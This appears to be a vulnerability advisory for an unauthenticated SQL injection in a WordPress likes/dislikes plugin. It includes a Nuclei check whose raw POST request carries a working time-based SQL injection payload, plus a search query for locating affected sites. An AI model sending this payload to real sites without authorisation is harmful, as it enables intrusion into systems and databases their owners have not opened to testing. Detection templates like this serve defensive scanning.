CVE-2025-5287· CWE-89
Likes and Dislikes Plugin <= 1.0.0 - Unauthenticated SQL Injection
The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
Unauthenticated attackers can extract sensitive database information including passwords and email addresses through SQL injection in the post parameter.
Fix
No known patch at this time. Consider removing or disabling the plugin until a patch is released.
How to confirm it
Send: POST /wp-admin/admin-ajax.php
Positive when: duration>=6 and contains_all(body, "like","dislike") and status_code == 200Run it with nuclei: nuclei -id CVE-2025-5287 -u <target>
The full check
id: CVE-2025-5287
info:
name: Likes and Dislikes Plugin <= 1.0.0 - Unauthenticated SQL Injection
author: CodeStuffBreakThings
severity: high
description: |
The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
Unauthenticated attackers can extract sensitive database information including passwords and email addresses through SQL injection in the post parameter.
remediation: No known patch at this time. Consider removing or disabling the plugin until a patch is released.
reference:
- https://plugins.trac.wordpress.org/browser/inprosysmedia-likes-dislikes-post/trunk/inprosysmedia-likes-dislikes-post.php#L76
- https://www.wordfence.com/threat-intel/vulnerabilities/id/ad19205d-d355-45d8-be5b-f8005459a8c7?source=cve
- https://github.com/XiaomingX/data-cve-poc/blob/main/2025/CVE-2025-5287/README.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-5287
cwe-id: CWE-89
epss-score: 0.02381
epss-percentile: 0.84036
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/posts-like-dislike/"
tags: cve,cve2025,wordpress,wp-plugin,wp,posts-like-dislike,time-based-sqli,sqli,vkev,vuln
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=my_likes_dislikes_action&post=1 AND (SELECT 1234 FROM (SELECT(SLEEP(6)))a)&state=like
matchers:
- type: dsl
dsl:
- "duration>=6"
- 'contains_all(body, "like","dislike")'
- 'status_code == 200'
condition: andReferences
- https://plugins.trac.wordpress.org/browser/inprosysmedia-likes-dislikes-post/trunk/inprosysmedia-likes-dislikes-post.php#L76
- https://www.wordfence.com/threat-intel/vulnerabilities/id/ad19205d-d355-45d8-be5b-f8005459a8c7?source=cve
- https://github.com/XiaomingX/data-cve-poc/blob/main/2025/CVE-2025-5287/README.md
Use this check only on systems you are authorised to test. Where the data comes from